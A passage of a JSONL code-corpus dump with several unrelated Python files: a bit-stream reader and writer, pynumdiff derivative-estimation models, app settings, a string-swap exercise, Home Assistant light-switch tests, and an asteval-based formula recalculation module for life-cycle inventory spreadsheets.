const.FILE_RAW_DATASET_FORWARD)\n\n @property\n def get_raw_dataset_with_zero_filling(self):\n return pd.read_csv(const.DIR_RAW_DATASET + \"/\" + const.FILE_RAW_DATASET_ZERO)\n\n @property\n def get_balanced_dataset(self):\n return pd.read_csv(const.DIR_DATASET + \"/\" + const.FILE_DATASET_BALANCED)\n\n\nif __name__ == \"__main__\":\n dataset = TMDataset()\n #dataset.get_preprocessed_dataset()\n #dataset.create_balanced_dataset()\n #dataset.get_best_sensor_features()\n dataset.create_raw_dataset()\n\n\n","sub_path":"datasets/tmdataset.py","file_name":"tmdataset.py","file_ext":"py","file_size_in_byte":54195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"217683673","text":"from Utils import byte_from_bin_string, get_bin_string_from_byte, get_bin_string_from_last_byte\n\n\nclass CompleteWriter:\n def __init__(self, file_name=None, file_descriptor=None):\n if file_name is not None and file_descriptor is None:\n self.file_descriptor = open(file_name, 'wb')\n else:\n self.file_descriptor = file_descriptor\n self.bin_string_buffer = ''\n self.last_byte_string = ''\n\n def close_file(self):\n self.check_flush()\n last_byte_string = self.last_byte_string\n if len(last_byte_string) == 8:\n num = byte_from_bin_string(last_byte_string)\n else:\n if len(last_byte_string) == 0:\n last_byte_string = '10000000'\n else:\n last_byte_string += '1'\n for _ in range(8 - len(last_byte_string)):\n last_byte_string += '0'\n num = byte_from_bin_string(last_byte_string)\n self.file_descriptor.write(num.to_bytes(1, byteorder='big'))\n self.file_descriptor.close()\n\n def write_data(self, bin_string):\n self.bin_string_buffer += bin_string\n self.check_flush()\n\n def check_flush(self):\n cur_index = 0\n while len(self.bin_string_buffer) > cur_index:\n next_byte_string = self.bin_string_buffer[cur_index: cur_index + 8]\n if len(next_byte_string) < 8:\n break\n data_to_flush = byte_from_bin_string(next_byte_string)\n byte = data_to_flush.to_bytes(1, byteorder='big')\n self.file_descriptor.write(byte)\n cur_index += 8\n self.bin_string_buffer = self.bin_string_buffer[cur_index:]\n self.last_byte_string = self.bin_string_buffer[cur_index:]\n\n\nclass CompleteReader:\n def __init__(self, decoding_map, file_name=None, file_descriptor=None,):\n if file_name is not None and file_descriptor is None:\n self.file_descriptor = open(file_name, 'wb')\n else:\n self.file_descriptor = file_descriptor\n self.input_buffer = ''\n self.last_byte = None\n self.decoding_map = decoding_map\n\n def add_byte(self, byte):\n if self.last_byte is not None:\n self.input_buffer += get_bin_string_from_byte(self.last_byte)\n self.last_byte = byte\n self.flush()\n\n def flush(self):\n while True:\n decoded = False\n for bin_str_code in sorted(self.decoding_map.keys()):\n if self.try_decode(bin_str_code):\n decoded = True\n if not decoded:\n break\n\n def try_decode(self, bin_str_code):\n if self.input_buffer.startswith(bin_str_code):\n character = self.decoding_map[bin_str_code]\n self.input_buffer = self.input_buffer[len(bin_str_code):]\n self.file_descriptor.write(character)\n return True\n return False\n\n def close_file(self):\n self.input_buffer += get_bin_string_from_last_byte(self.last_byte)\n self.flush()\n self.file_descriptor.close()\n\n\nclass SimpleWriter:\n def __init__(self, file_name=None, file_descriptor=None):\n if file_name is not None and file_descriptor is None:\n self.file_descriptor = open(file_name, 'wb')\n else:\n self.file_descriptor = file_descriptor\n self.bin_string_buffer = ''\n\n def close_file(self):\n self.check_flush()\n self.file_descriptor.close()\n\n def write_data(self, bin_string):\n self.bin_string_buffer += bin_string\n self.check_flush()\n\n def check_flush(self):\n cur_index = 0\n while cur_index < len(self.bin_string_buffer):\n next_byte_string = self.bin_string_buffer[cur_index: cur_index + 8]\n if len(next_byte_string) != 8:\n break\n data_to_flush = byte_from_bin_string(next_byte_string)\n byte = data_to_flush.to_bytes(1, byteorder='big')\n self.file_descriptor.write(byte)\n cur_index += 8\n\n self.bin_string_buffer = self.bin_string_buffer[cur_index:]\n","sub_path":"Assignment3/src/CompleteIO.py","file_name":"CompleteIO.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"574939062","text":"import numpy as np \nimport time\nimport copy\nimport math\nimport scipy\nimport logging\n\nlogging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s [%(levelname)s] %(message)s\",\n handlers=[\n logging.FileHandler(\"debug.log\"),\n logging.StreamHandler()\n ]\n)\n\n# included modules\nfrom pynumdiff.finite_difference import first_order as finite_difference \nfrom pynumdiff.linear_model import __integrate_dxdt_hat_matrix__, __solve_for_A_and_C_given_X_and_Xdot__\nimport pynumdiff.smooth_finite_difference\nfrom pynumdiff.utils import utility as utility\nfrom pynumdiff import smooth_finite_difference\n__gaussian_kernel__ = utility.__gaussian_kernel__\n\n# optional packages\ntry:\n import pydmd.dmdc\nexcept:\n logging.info('Import Error.\\nCould not import pydmd. Install pydmd (florisvb fork: https://github.com/florisvb/PyDMD) to use dmd derivatives.\\n')\ntry:\n import cvxpy\nexcept:\n logging.info('Import Error.\\nCould not import cvxpy. Install cvxpy (http://www.cvxpy.org/install/index.html) to use linearmodel and nonlinearmodel.\\nRecommended solver: MOSEK, free academic license available: https://www.mosek.com/products/academic-licenses/\\n')\n\n####################################################################################################################################################\n# Helper functions\n####################################################################################################################################################\n\ndef __integrate__(x, dt):\n y = scipy.integrate.cumtrapz( x )*dt\n y = np.hstack((y, y[-1]-x[-1]*dt))\n return y\n\ndef integrate_library(library, dt):\n library = [__integrate__(l, dt) for l in library]\n return library\n\nclass DeWhiten(object):\n def __init__(self, mean, std):\n self.mean = mean\n self.std = std\n def dewhiten(self, m):\n return (m+self.mean)*self.std\n \nclass Whiten(object):\n def __init__(self, mean, std):\n self.mean = mean\n self.std = std\n def whiten(self, m):\n return (m-self.mean)/self.std\n\ndef whiten_library(library):\n white_library = []\n dewhiten = []\n whiten = []\n for m in library:\n m += 2*(np.random.random(len(m))-0.5)*1e-16 # in case we have a pure constant\n \n std_m = np.std(m)\n mean_m = np.mean(m)\n \n w = Whiten(mean_m, std_m)\n dw = DeWhiten(mean_m, std_m)\n \n white_library.append(w.whiten(m))\n whiten.append(w)\n dewhiten.append(dw)\n \n return white_library, whiten, dewhiten\n\n####################################################################################################################################################\n# Discover a linear model\n####################################################################################################################################################\n\ndef linearmodel(x, data, dt, params, options={'smooth': True}):\n '''\n Estimate the parameters for a system xdot = Ax + Bu, and use that to calculate the derivative\n \n Inputs\n ------\n x : (np.array of floats, 1xN) time series to differentiate\n data : (list of np.array of floats like x) additional time series data that may be relevant to modeling xdot = Ax + Bu\n dt : (float) time step\n\n Parameters\n ----------\n params : (list) [N, : (int, >1) order (e.g. 2: velocity; 3: acceleration)\n gammaA : (float) regularization term for A (try 1e-6)\n gammaC : (float) regularization term for integration constants (try 1e-1)\n window_size : (int) if options['smooth'] == True, window_size determines size over which gaussian smoothing is applied\n options : (dict) {'smooth',} : (bool) if True, apply gaussian smoothing to the result with the same window size\n\n Outputs\n -------\n x_hat : estimated (smoothed) x\n dxdt_hat : estimated derivative of x\n\n '''\n\n try:\n N, gammaA, gammaC, window_size = params\n except:\n N, gammaA, gammaC = params\n\n mean = np.mean(x)\n x = x - mean\n \n # Generate the matrix of integrals of x\n X = [x]\n for n in range(1,N):\n X.append(utility.integrate_dxdt_hat(X[-1], dt) )\n X = X[::-1]\n for d in data:\n for n in range(1,N-1):\n d = utility.integrate_dxdt_hat(d, dt)\n X.append(d)\n X = np.matrix(np.vstack(X))\n \n integral_Xdot = X\n integral_X = __integrate_dxdt_hat_matrix__(X, dt)\n \n # Solve for A and the integration constants\n A, C = __solve_for_A_and_C_given_X_and_Xdot__(integral_X, integral_Xdot, N, dt, gammaC=gammaC, gammaA=gammaA, solver='MOSEK', A_known=None, epsilon=1e-6, rows_of_interest=[N-1])\n \n # Add the integration constants\n Csum = 0\n t = np.arange(0, X.shape[1])*dt\n for n in range(0, N-1):\n C_subscript = n\n t_exponent = N - n - 2\n den = math.factorial(t_exponent)\n Cn = np.vstack((1/den*C[i, C_subscript]*t**t_exponent for i in range(X.shape[0])))\n Csum = Csum + Cn\n Csum = np.matrix(Csum)\n \n # Use A and C to calculate the derivative\n Xdot_reconstructed = (A*X + Csum)\n dxdt_hat = np.ravel(Xdot_reconstructed[N-1, :])\n\n x_hat = utility.integrate_dxdt_hat(dxdt_hat, dt)\n x_hat = x_hat +utility.estimate_initial_condition(x+mean, x_hat)\n\n if options['smooth']:\n kernel = __gaussian_kernel__(window_size)\n dxdt_hat = pynumdiff.smooth_finite_difference.__convolutional_smoother__(dxdt_hat, kernel, 1)\n\n return x_hat, dxdt_hat\n\n####################################################################################################################################################\n# Integral SINDy (nonlinear model)\n####################################################################################################################################################\n\ndef nonlinearmodel(x, library, dt, params, options={'smooth': True, 'solver': 'MOSEK'}):\n '''\n Use the integral form of SINDy to find a sparse dynamical system model for the output, x, given a library of features.\n Then take the derivative of that model to estimate the derivative. \n \n Inputs\n ------\n x : (np.array of floats, 1xN) time series to differentiate\n library : (list of 1D arrays) list of features to use for building the model\n dt : (float) time step\n\n Parameters\n ----------\n params : (list) [gamma, : (int) sparsity knob (higher = more sparse model)\n window_size], : (int) if option smooth, this determines the smoothing window\n options : (dict) {'smooth', : (bool) if True, apply gaussian smoothing to the result with the same window size\n 'solver'} : (str) solver to use with cvxpy, MOSEK is default\n\n Outputs\n -------\n x_hat : estimated (smoothed) x\n dxdt_hat : estimated derivative of x\n\n '''\n\n # Features\n int_library = integrate_library(library, dt)\n w_int_library, w_int_library_func, dw_int_library_func = whiten_library(int_library)\n\n # Whitened states\n w_state, w_state_func, dw_state_func = whiten_library([x])\n w_x_hat, = w_state\n\n # dewhiten integral library coefficients\n integrated_library_std = []\n integrated_library_mean = []\n for d in dw_int_library_func:\n integrated_library_std.append(d.std)\n integrated_library_mean.append(d.mean)\n integrated_library_std = np.array(integrated_library_std)\n integrated_library_mean = np.array(integrated_library_mean)\n\n # dewhiten state coefficients\n state_std = []\n state_mean = []\n for d in dw_state_func:\n state_std.append(d.std)\n state_mean.append(d.mean)\n state_std = np.array(state_std)\n state_mean = np.array(state_mean)\n\n # Define loss function\n var = cvxpy.Variable( (1, len(library)) )\n sum_squared_error_x = cvxpy.sum_squares( w_x_hat[1:-1] - (w_int_library*var[0,:])[1:-1] )\n sum_squared_error = cvxpy.sum([sum_squared_error_x])\n \n # Solve convex optimization problem\n gamma = params[0]\n solver = options['solver']\n L = cvxpy.sum( sum_squared_error + gamma*cvxpy.norm1(var) )\n obj = cvxpy.Minimize(L)\n prob = cvxpy.Problem(obj)\n r = prob.solve(solver=solver)\n sindy_coefficients = var.value\n\n integrated_library_offset = np.matrix(sindy_coefficients[0,:]/integrated_library_std)*np.matrix(integrated_library_mean).T\n estimated_coefficients = sindy_coefficients[0,:]/integrated_library_std*np.tile(state_std[0], [len(int_library), 1]).T\n offset = -1*(state_std[0]*np.ravel(integrated_library_offset)) + state_mean\n\n # estimate derivative\n dxdt_hat = np.ravel(np.matrix(estimated_coefficients)*np.matrix(library))\n\n if options['smooth']:\n window_size = params[1]\n kernel = __gaussian_kernel__(window_size)\n dxdt_hat = pynumdiff.smooth_finite_difference.__convolutional_smoother__(dxdt_hat, kernel, 1)\n\n x_hat = utility.integrate_dxdt_hat(dxdt_hat, dt)\n x0 = utility.estimate_initial_condition(x, x_hat)\n x_hat = x_hat + x0\n\n return x_hat, dxdt_hat\n\n","sub_path":"pynumdiff/augmented_data/__augmented_data__.py","file_name":"__augmented_data__.py","file_ext":"py","file_size_in_byte":9165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"337971250","text":"# User logins that we remember will stay active for 90 days\nLOGIN_REMEMBER_ME = 60 * 60 * 24 * 90\n\n# Maximum upload size for replays\nMAX_UPLOAD_SIZE = 300 * 1000000\n\n# Where replays are uploaded to under the media URL\nREPLAY_UPLOAD_PATH = \"replays/\"\n\nSUPPORTED_VIDEO_EXT = (\"avi\", \"mp4\", \"mkv\")","sub_path":"config/app_settings.py","file_name":"app_settings.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"528428860","text":"\"\"\"\nSwap Two Characters & Compare\nThe program must accept two string values S1 and S2 of equal length as the input. The program must check if S1 is equal to S2 by swapping any two characters in S1. If it is possible to make S1 equals to S2, then the program must print YES as the output. Else the program must print NO as the output.\nNote: S1 and S2 are always not equal.\n\nBoundary Condition(s):\n2 <= Length of S1, S2 <= 1000\n\nInput Format:\nThe first line contains S1.\nThe second line contains S2.\n\nOutput Format:\nThe first line contains either YES or NO.\n\nExample Input/Output 1:\nInput:\nabcd\nadcb\n\nOutput:\nYES\n\nExplanation:\nS1 = abcd and S2 = adcb.\nAfter swapping the two characters b and d in the string abcd, the string becomes adcb.\nNow both S1 and S2 are equal.\nSo YES is printed as the output.\n\nExample Input/Output 2:\nInput:\nskillrack\nasillrkck\n\nOutput:\nNO\n\nExample Input/Output 3:\nInput:\nElephantEagle\nElephantBogle\n\nOutput:\nNO\n\n\n\"\"\"\na=list(input().strip())\nb=list(input().strip())\nl=len(a)\nfor i in range(l):\n for j in range(i+1,l):\n a[i],a[j]=a[j],a[i]\n if(a==b):\n print(\"YES\")\n exit()\n a[i],a[j]=a[j],a[i]\n \nprint(\"NO\")","sub_path":"Python Programs/Swap Two Characters & Compare.py","file_name":"Swap Two Characters & Compare.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"450632393","text":"\"\"\"The tests for the Light Switch platform.\"\"\"\n\nfrom homeassistant.components.light import (\n ATTR_COLOR_MODE,\n ATTR_SUPPORTED_COLOR_MODES,\n COLOR_MODE_ONOFF,\n)\nfrom homeassistant.components.switch.const import DOMAIN as SWITCH_DOMAIN\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers import entity_registry as er\nfrom homeassistant.setup import async_setup_component\n\nfrom tests.common import MockConfigEntry\nfrom tests.components.light import common\nfrom tests.components.switch import common as switch_common\n\n\nasync def test_default_state(hass):\n \"\"\"Test light switch default state.\"\"\"\n await async_setup_component(\n hass,\n \"light\",\n {\n \"light\": {\n \"platform\": \"switch\",\n \"entity_id\": \"switch.test\",\n \"name\": \"Christmas Tree Lights\",\n }\n },\n )\n await hass.async_block_till_done()\n\n state = hass.states.get(\"light.christmas_tree_lights\")\n assert state is not None\n assert state.state == \"unavailable\"\n assert state.attributes[\"supported_features\"] == 0\n assert state.attributes.get(\"brightness\") is None\n assert state.attributes.get(\"hs_color\") is None\n assert state.attributes.get(\"color_temp\") is None\n assert state.attributes.get(\"white_value\") is None\n assert state.attributes.get(\"effect_list\") is None\n assert state.attributes.get(\"effect\") is None\n assert state.attributes.get(ATTR_SUPPORTED_COLOR_MODES) == [COLOR_MODE_ONOFF]\n assert state.attributes.get(ATTR_COLOR_MODE) is None\n\n\nasync def test_light_service_calls(hass):\n \"\"\"Test service calls to light.\"\"\"\n await async_setup_component(hass, \"switch\", {\"switch\": [{\"platform\": \"demo\"}]})\n await async_setup_component(\n hass,\n \"light\",\n {\"light\": [{\"platform\": \"switch\", \"entity_id\": \"switch.decorative_lights\"}]},\n )\n await hass.async_block_till_done()\n\n assert hass.states.get(\"light.light_switch\").state == \"on\"\n\n await common.async_toggle(hass, \"light.light_switch\")\n\n assert hass.states.get(\"switch.decorative_lights\").state == \"off\"\n assert hass.states.get(\"light.light_switch\").state == \"off\"\n\n await common.async_turn_on(hass, \"light.light_switch\")\n\n assert hass.states.get(\"switch.decorative_lights\").state == \"on\"\n assert hass.states.get(\"light.light_switch\").state == \"on\"\n assert (\n hass.states.get(\"light.light_switch\").attributes.get(ATTR_COLOR_MODE)\n == COLOR_MODE_ONOFF\n )\n\n await common.async_turn_off(hass, \"light.light_switch\")\n await hass.async_block_till_done()\n\n assert hass.states.get(\"switch.decorative_lights\").state == \"off\"\n assert hass.states.get(\"light.light_switch\").state == \"off\"\n\n\nasync def test_switch_service_calls(hass):\n \"\"\"Test service calls to switch.\"\"\"\n await async_setup_component(hass, \"switch\", {\"switch\": [{\"platform\": \"demo\"}]})\n await async_setup_component(\n hass,\n \"light\",\n {\"light\": [{\"platform\": \"switch\", \"entity_id\": \"switch.decorative_lights\"}]},\n )\n await hass.async_block_till_done()\n\n assert hass.states.get(\"light.light_switch\").state == \"on\"\n\n await switch_common.async_turn_off(hass, \"switch.decorative_lights\")\n await hass.async_block_till_done()\n\n assert hass.states.get(\"switch.decorative_lights\").state == \"off\"\n assert hass.states.get(\"light.light_switch\").state == \"off\"\n\n await switch_common.async_turn_on(hass, \"switch.decorative_lights\")\n await hass.async_block_till_done()\n\n assert hass.states.get(\"switch.decorative_lights\").state == \"on\"\n assert hass.states.get(\"light.light_switch\").state == \"on\"\n\n\nasync def test_config_entry(hass: HomeAssistant):\n \"\"\"Test light switch setup from config entry.\"\"\"\n config_entry = MockConfigEntry(\n data={},\n domain=SWITCH_DOMAIN,\n options={\"entity_id\": \"switch.abc\"},\n title=\"ABC\",\n )\n\n config_entry.add_to_hass(hass)\n\n assert await hass.config_entries.async_setup(config_entry.entry_id)\n await hass.async_block_till_done()\n\n assert SWITCH_DOMAIN in hass.config.components\n\n state = hass.states.get(\"light.abc\")\n assert state.state == \"unavailable\"\n # Name copied from config entry title\n assert state.name == \"ABC\"\n\n # Check the light is added to the entity registry\n registry = er.async_get(hass)\n entity_entry = registry.async_get(\"light.abc\")\n assert entity_entry.unique_id == config_entry.entry_id\n\n\nasync def test_config_entry_uuid(hass: HomeAssistant):\n \"\"\"Test light switch setup from config entry with entity registry id.\"\"\"\n registry = er.async_get(hass)\n registry_entry = registry.async_get_or_create(\"switch\", \"test\", \"unique\")\n\n config_entry = MockConfigEntry(\n data={},\n domain=SWITCH_DOMAIN,\n options={\"entity_id\": registry_entry.id},\n title=\"ABC\",\n )\n\n config_entry.add_to_hass(hass)\n\n assert await hass.config_entries.async_setup(config_entry.entry_id)\n await hass.async_block_till_done()\n\n assert hass.states.get(\"light.abc\")\n\n\nasync def test_config_entry_unregistered_uuid(hass: HomeAssistant):\n \"\"\"Test light switch setup from config entry with unknown entity registry id.\"\"\"\n fake_uuid = \"a266a680b608c32770e6c45bfe6b8411\"\n\n config_entry = MockConfigEntry(\n data={},\n domain=SWITCH_DOMAIN,\n options={\"entity_id\": fake_uuid},\n title=\"ABC\",\n )\n\n config_entry.add_to_hass(hass)\n\n assert not await hass.config_entries.async_setup(config_entry.entry_id)\n await hass.async_block_till_done()\n\n assert len(hass.states.async_all()) == 0\n","sub_path":"tests/components/switch/test_light.py","file_name":"test_light.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"145492124","text":"# -*- coding: utf-8 -*-\nfrom asteval import Interpreter\nimport utils, numpy, scipy, pandas, re, inspect, excel_template_utils\nimport spold2_reader as spold2\nfrom copy import copy\nimport MasterData\n\nMD = MasterData.get_current_MD()\nMD['UnitConversions'] = MD['UnitConversions'].set_index(['unitFromName', 'unitToName']).sort_index(level=0)\n\ndef find_tab(x):\n if x == 'exchange amount':\n tab = 'exchanges'\n elif x == 'production volume':\n tab = 'exchanges'\n elif x == 'property':\n tab = 'property'\n elif x == 'parameter':\n tab = 'parameter'\n return tab\n\ndef add_to_logs(logs, severity, message, sel, case_id):\n if 'field' not in sel:\n sel['field'] = ''\n if sel['field'] == 'exchange amount':\n sel['field'] = 'mathematicalRelation'\n sel['tab'] = 'exchanges'\n elif sel['field'] == 'production volume':\n sel['field'] = 'PV_mathematicalRelation'\n sel['tab'] = 'exchanges'\n sel[sel['field']] = copy(sel['mathematicalRelation'])\n elif sel['field'] == 'property':\n sel['field'] = 'mathematicalRelation'\n sel['tab'] = 'property'\n elif sel['field'] == 'parameter':\n sel['field'] = 'mathematicalRelation'\n sel['tab'] = 'parameter'\n elif sel['field'] == '':\n sel['tab'] = ''\n else:\n 1/0#fix me now\n sel.update(dict(zip(\n ['function', 'severity', 'message', 'case id'], \n [inspect.stack()[1].function, severity, message, case_id])))\n logs.append(sel)\n return logs\n\ndef replace_average(x):\n average_re = re.compile('average\\(')\n insert_open = []\n insert_close = []\n all_parenthesis = utils.open_close_parenthesis_position(x)['parenthesis']\n for match in average_re.finditer(x):\n insert_open.append(match.span()[1])\n search_for = insert_open[-1]-1\n found = False\n for p in all_parenthesis:\n if search_for == p[0]:\n found = True\n insert_close.append(p[1])\n break\n assert found\n insert_open = [x for x in reversed(insert_open)]\n insert_close = [x for x in reversed(insert_close)]\n to_insert = zip(insert_close, insert_open)\n for c, o in to_insert:\n chunk = x[o:c].replace(';', ',')\n x = '{}{}{}'.format(x[:o], chunk, x[c:])\n x = '{}]{}'.format(x[:c], x[c:])\n x = '{}[{}'.format(x[:o], x[o:])\n x = x.replace('average(', 'mean(')\n return x\n\ndef apply_lower(x):\n if not utils.is_empty(x):\n x = x.lower()\n if not utils.is_empty(x):\n for before, after in [\n ('yield', 'YIELD'), \n ('as', 'AS'),\n ('is', 'IS'), \n ]:\n x = x.replace(before, after)\n return x\n\ndef replace_Ref(df):\n if 'Ref' in df.columns:\n m = 'mathematicalRelation'\n test = tuple(df[m].apply(lambda x: len(utils.find_uuid(x)) > 0))\n if any(test):\n v = 'variableName'\n df_, dummy = utils.accelerate_df(df[['Ref', v]], ['Ref'], force_to_dictionary = True)\n for i in df.index:\n mathematicalRelation = df.loc[i, m]\n if utils.find_uuid(mathematicalRelation):\n for Ref, variableName in df_.items():\n mathematicalRelation = mathematicalRelation.replace(Ref, variableName[v])\n if '3a0af1d6-04c3-41c6-a3da-92c4f61e0eaa' in mathematicalRelation:\n 1/0\n df.loc[i, m] = mathematicalRelation\n return df\n\ndef remove_livelinks(x):\n if not utils.is_empty(x) and 'LiveLink' in x:\n x = ''\n return x\n\ndef UnitConversions(x):\n for uc in ['UnitConversion', 'unitconversion']:\n if not utils.is_empty(x) and uc in x:\n x = x.replace(', ', ',')\n y = x.split('{}('.format(uc))\n z = y[1].split(',')\n how_much = z[0]\n unitFromName = z[1].replace(\"'\", '')\n unitToName = z[2].replace(\"'\", '').split(')')[0]\n key = (unitFromName, unitToName)\n if key in set(MD['UnitConversions'].index):\n factor = utils.dataframe_to_series(MD['UnitConversions'].loc[key], \n allow_multiple_line = True)['factor']\n else:\n 1/0#fix me now\n to_replace = \"{}({},'{}','{}')\".format(uc, how_much, unitFromName, unitToName)\n if to_replace not in x:\n 1/0#fix me now\n try:\n how_much = float(how_much)\n except ValueError:\n interpreter = Interpreter()\n how_much = interpreter.eval(how_much)\n x = x.replace(to_replace, str(factor*float(how_much)))\n if uc in x:\n x = UnitConversions(x)\n break\n return x\n\ndef add_dummy_variableName(x):\n if utils.is_empty(x[0]):\n return 'dummy_variable_{}'.format(x[1])\n else:\n return x[0]\n\ndef apply_case_sensitive_replacements(x, sel):\n if not utils.is_empty(x):\n for i, sel_ in sel.iterrows():\n x = x.replace(str(sel_['before']), str(sel_['after']))\n return x\n\ndef reserved_words(x):\n if not utils.is_empty(x):\n for before, after in [\n ('yield', 'YIELD'), \n ('as', 'AS'),\n ('is', 'IS'), \n ('if(', 'IF('), \n ('or(', 'OR('), \n ('in(', 'IN('), \n ]:\n x = x.replace(before, after)\n \n return x\n\ndef other_replacements(x):\n if not utils.is_empty(x):\n replacements = [#fix me: should be in a spreadsheet\n #dataset \"treatment, sludge from pulp and paper production, landfarming\"\n ('\\n', ''), \n ('\\r', ''), \n ('%', 'e-2'), \n ('ö', 'o'), \n ('1/014000000', '1/14000000'), \n ('0.0.', '0.'), \n ]\n for before, after in replacements:\n x = x.replace(before, after)\n x = x.strip()\n return x\n\ndef function_replacements(x):\n if not utils.is_empty(x):\n replacements = [\n ('ABS(', 'abs('), \n ('^', '**'), \n ('ROUND(', 'round('),\n \n ]\n x = str(x)\n for before, after in replacements:\n x = x.replace(before, after)\n x = x.strip()\n if ('power(' in x or 'if(' in x or 'IF(' in x) and ';' in x:\n x = ''\n if 'average(' in x:\n x = replace_average(x) \n return x\n\ndef mathematicalRelation_correction(df):\n df['mathematicalRelation'] = df['mathematicalRelation'].apply(remove_livelinks)\n df['graph position'] = range(len(df))\n df['variableName'] = df[['variableName', 'graph position']].apply(\n add_dummy_variableName, axis = 1)\n df = replace_Ref(df)\n col = 'mathematicalRelation'\n for col in ('mathematicalRelation', 'variableName'):\n df[col] = df[col].apply(apply_lower)\n df[col] = df[col].apply(reserved_words)\n df[col] = df[col].apply(other_replacements)\n col = 'mathematicalRelation'\n df[col] = df[col].apply(function_replacements)\n return df\n\ndef is_combined_production(df):\n return len(set(df[df['group'] == 'ReferenceProduct']['name'])) > 1\n\ndef build_graph(df):\n mathematicalRelations = df[~df['mathematicalRelation'].apply(utils.is_empty)]\n mathematicalRelations = list(zip(list(mathematicalRelations.index), \n mathematicalRelations['mathematicalRelation']))\n variableNames = list(zip(list(df.index), df['variableName']))\n interpreter = Interpreter()\n s = dict(zip(list(df['variableName']), list(df['amount'])))\n interpreter.symtable.update(s)\n errors = set()\n rows = []\n columns = []\n logs = []\n severity = 'error'\n for dependant_index, mathematicalRelation in mathematicalRelations:\n #first checking if all variables are defined for this mathematicalRelation\n try:\n interpreter.eval(mathematicalRelation, show_errors = False)\n except NameError:\n for err in interpreter.error:\n e = '\\n'.join(interpreter.error[0].get_error()[1:])\n if e not in errors:\n errors.add(e)\n e = e.split('\\n')\n message = 'recalculation error: missing variable in mathematicalRelation \"{}\"\\n{}'.format(e[0].strip(), e[1].strip())\n sel = df[df['mathematicalRelation'] == mathematicalRelation].iloc[0].to_dict()\n case_id = 26\n logs = add_to_logs(logs, severity, message, sel, case_id)\n except SyntaxError:\n for err in interpreter.error:\n e = '\\n'.join(interpreter.error[0].get_error()[1:])\n if e not in errors:\n errors.add(e)\n e = e.split('\\n')\n message = 'recalculation error: syntox error in \"{}\"'.format(e[0].strip())\n sel = df[df['mathematicalRelation'] == mathematicalRelation].iloc[0].to_dict()\n case_id = 27\n logs = add_to_logs(logs, severity, message, sel, case_id)\n for precedent_index, variableName in variableNames:\n pop_value = interpreter.symtable.pop(variableName)\n try:\n interpreter.eval(mathematicalRelation, show_errors = False)\n except NameError:\n rows.append(int(precedent_index))\n columns.append(int(dependant_index))\n except SyntaxError:\n pass\n interpreter.symtable[variableName] = copy(pop_value)\n if len(logs) == 0:\n c = [1 for i in range(len(rows))]\n ij = numpy.vstack((rows, columns))\n graph = scipy.sparse.csr_matrix((c,ij), shape = (len(df), len(df)))\n else: graph = ''\n \n return graph, logs\n\ndef find_all_paths(graph, start, df, messages, found_circular):\n #used in recalc routine to figure out recalculation order\n paths = [[start]]\n terminated_paths = []\n longest = 0\n \n while True:\n paths_to_check = []\n for i in range(len(paths)):\n path = paths[i]\n rows, columns, c = scipy.sparse.find(graph.getcol(path[-1]))\n if len(rows) == 0:\n terminated_paths.append(path)\n if len(path) > longest:\n longest = len(path)\n else:\n for row in rows:\n new_path = copy(path)\n new_path.append(row)\n if row in path:\n for j in range(len(new_path)):\n if new_path[j] == new_path[-1]:\n circular = tuple(new_path[j:])\n break\n if circular not in found_circular:\n found_circular.add(circular)\n message = ['circular reference with following path:']\n p = ['{} = {}'.format(\n df.loc[k, 'variableName'], df.loc[k, 'mathematicalRelation']) \n for k in circular[:-1]]\n message.extend(copy(p))\n messages.append(copy('\\n'.join(message)))\n else:\n paths_to_check.append(new_path)\n if len(paths_to_check) == 0:\n break\n else:\n paths = copy(paths_to_check)\n return terminated_paths, longest, messages, found_circular\n\ndef calculation_order(df, graph):\n df['calculation order'] = ''\n messages = []\n logs = []\n found_circular = set()\n for start in range(len(df)):\n terminated_paths, longest, messages, found_circular = find_all_paths(graph, start, df, copy(messages), found_circular)\n df.loc[start, 'calculation order'] = copy(longest)\n if len(messages):\n logs = []\n case_id = 25\n severity = 'error'\n for message in messages:\n logs = add_to_logs(logs, severity, message, {}, case_id)\n else:\n df = df.sort_values(by = 'calculation order')\n return df, logs\n\ndef recalc(df, error_folder):\n df, dummy = utils.accelerate_df(df)\n interpreter = Interpreter()\n s = {}\n logs = []\n divided_by_zero = set()\n for i, sel in df.items():\n if utils.is_empty(sel['mathematicalRelation']):\n try:\n interpreter.eval('{variableName} = {amount}'.format(**sel), show_errors = False)\n except:\n 1/0\n elif sel['recalc me']:\n try:\n interpreter.eval('{variableName} = {mathematicalRelation}'.format(**sel), show_errors = False)\n except ZeroDivisionError:\n divided_by_zero.add(sel['variableName'])\n sel = sel.to_dict()\n message = 'recalculation error: division by zero in mathematicalRelation \"{}\"'.format(sel['mathematicalRelation'])\n severity = 'error'\n case_id = 116\n logs = add_to_logs(logs, severity, message, sel, case_id)\n try:\n s[i] = interpreter.symtable[sel['variableName']]\n except KeyError:\n if utils.is_empty(sel['mathematicalRelation']):\n 1/0#fix me now\n logs.append('error with variableName: \\n{}'.format(sel['variableName']))\n elif sel['variableName'] not in divided_by_zero:\n 1/0\n logs.append('error with mathematicalRelation: \\n{}'.format(sel['mathematicalRelation']))\n if not sel['amount'] == '(division by zero)':\n 1/0#fix me now\n if len(logs) == 0:\n df = dummy.copy()\n df['calculated amount'] = pandas.Series(s)\n df['test'] = df[['amount', 'calculated amount']\n ].apply(utils.compare_2_values, axis = 1)\n return df, logs\n else:\n return dummy, logs\n\ndef arrange_template(template):\n df = template['exchanges'].copy()\n assert len(df)\n df['field'] = 'exchange amount'\n d = df[df['group'].isin(['ReferenceProduct', 'ByProduct'])]\n for col in ['amount', 'mathematicalRelation', 'variableName', 'Ref']:\n if col in d:\n del d[col]\n d.rename(columns = {'PV_{}'.format(col): col}, inplace = True)\n d['field'] = 'production volume'\n df = df.append(d)\n if 